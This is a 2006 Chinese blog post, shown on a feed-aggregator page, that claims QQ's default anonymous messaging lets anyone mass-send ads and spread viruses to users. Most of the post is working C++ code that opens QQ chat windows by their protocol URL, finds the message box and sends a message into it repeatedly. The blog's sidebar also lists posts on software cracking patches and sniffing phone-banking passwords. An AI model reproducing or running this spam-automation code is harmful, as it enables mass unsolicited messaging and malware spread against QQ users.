惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Threatpost
The Hacker News
The Hacker News
AWS News Blog
AWS News Blog
Spread Privacy
Spread Privacy
T
Tenable Blog
C
CERT Recently Published Vulnerability Notes
Cisco Talos Blog
Cisco Talos Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
S
Securelist
P
Privacy & Cybersecurity Law Blog
Know Your Adversary
Know Your Adversary
T
The Exploit Database - CXSecurity.com
Latest news
Latest news
D
Darknet – Hacking Tools, Hacker News & Cyber Security
I
Intezer
F
Fortinet All Blogs
Engineering at Meta
Engineering at Meta
Simon Willison's Weblog
Simon Willison's Weblog
The Register - Security
The Register - Security
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
L
Lohrmann on Cybersecurity
C
Cyber Attacks, Cyber Crime and Cyber Security
Microsoft Azure Blog
Microsoft Azure Blog
P
Proofpoint News Feed
H
Help Net Security
T
Threat Research - Cisco Blogs
D
DataBreaches.Net
S
Schneier on Security
Cyberwarzone
Cyberwarzone
Google DeepMind News
Google DeepMind News
P
Privacy International News Feed
S
Secure Thoughts
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Recorded Future
Recorded Future
C
Cybersecurity and Infrastructure Security Agency CISA
MyScale Blog
MyScale Blog
M
MIT News - Artificial intelligence
Stack Overflow Blog
Stack Overflow Blog
IT之家
IT之家
人人都是产品经理
人人都是产品经理
NISL@THU
NISL@THU
博客园 - Franky
T
Tor Project blog
G
GRAHAM CLULEY
博客园 - 【当耐特】
Jina AI
Jina AI
Security Archives - TechRepublic
Security Archives - TechRepublic
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
A
About on SuperTechFans
Hacker News - Newest:
Hacker News - Newest: "LLM"

博客园 - 网际大鱼

大鱼认为好的牛股排名 让所有的实体店成为网店的体验店 QQ机器人小P隆重发布,QQ号:792892125 带强名的.net程序反向工程后汇编中的问题总结 谁是股市上的最大受益者 数据挖掘之web文本自动分类 利用搜索引擎技术抢注域名 推出网站大鱼搜索 网页生成缩略图程序在win2003下IE控件实例超过10个出现错误的问题 oracle 9i以上最有效率的if(exists)update else insert操作 爬虫如何抓取到Asp.Net中__doPostBack获取新页面的数据 goole CodeSearch 的分页bug 关键词与关键词之间的相关度计算 域名注册,抢注工具编写 超强的ORC控件Asprise OCR补丁发布 用开源Carrot2的后缀树算法做Web文本聚类 隆重推出PowerDesinger 12.1.0.1913破解补丁 用OCR技术识别验证码---tesseract 用sniffer技术盗取电话银行密码
QQ存在重大漏洞,用户可以群发小广告,传播病毒
网际大鱼 · 2006-11-14 · via 博客园 - 网际大鱼

QQ允许发送匿名消息,虽然我们可以把它关掉,但默认是允许的,这就给人以可乘之机,这样我们可以利用它来给所有QQ用户群发小广告,传播病毒。
实现代码

HRESULT CtestQQDlg::SendMsg(CString qqNum, CString msg)
{
    
 CString str;
    str.Format (_T (
"Tencent://Message/?Menu=YES&Exe=QQ&Uin=%s"), qqNum);   

  ShellExecute (NULL, _T (
"open"), str, NULL, NULL, SW_HIDE);  

//寻找桌面上已打开的聊天窗口,然后对该窗口进行自动发送消息:

    HWND hwnd1 
= NULL;
    HWND hwnd2 
= NULL;
    HWND hRichEdit 
= NULL;
    
//HWND hSendButton = NULL;

    
//尝试找到句柄,尝试10次,如果未找到
    int testTimes = 10,testCount = 0;
    
while(g_hwnd == NULL && testCount < testTimes)
    
{
        EnumWindows (EnumWindowsProc, NULL);
        Sleep(
500);
        testCount
++;
    }


    
if (g_hwnd == NULL)   //g_hwnd标识找到的聊天窗口
    
        
return S_FALSE;
    }


    
do
    
{
        
if ((hwnd1 = ::FindWindowEx (g_hwnd, NULL, _T ("#32770"), NULL)) != NULL 
            
&& GetWindowLong (hwnd1, GWL_STYLE) == 0x50000044)
            
break;
    }
while (hwnd1 != NULL);

    
if (hwnd1 == NULL)
        
return S_FALSE;

    
do
    
{
        
if ((hwnd2 = ::FindWindowEx (hwnd1, NULL, _T ("AfxWnd42"), NULL)) != NULL
            
&& (hRichEdit = ::GetDlgItem (hwnd2, 0x37e)) != NULL)
            
break;
    }
while (hwnd2 != NULL);

    
if (hwnd2 == NULL || hRichEdit == NULL)
        
return S_FALSE;

    CHARRANGE r;
    r.cpMax 
= -1;
    r.cpMin 
= 0;

    UpdateData (TRUE);
    
int times = atoi (m_sendTimes);
    
for (int i=0; i < times; i++)
    
{
        ::SendMessage (hRichEdit, EM_EXSETSEL, 
0, (LPARAM) &r);
        ::SendMessage (hRichEdit, EM_REPLACESEL, 
0, (LPARAM)(LPCTSTR)msg);
        ::SendMessage (hwnd1, WM_COMMAND, 
1, NULL);
        Sleep (
1000);
    }

    ::SendMessage (g_hwnd, WM_CLOSE, 
0, NULL);      //  最后可以选择关闭该窗口 
    return S_OK;
}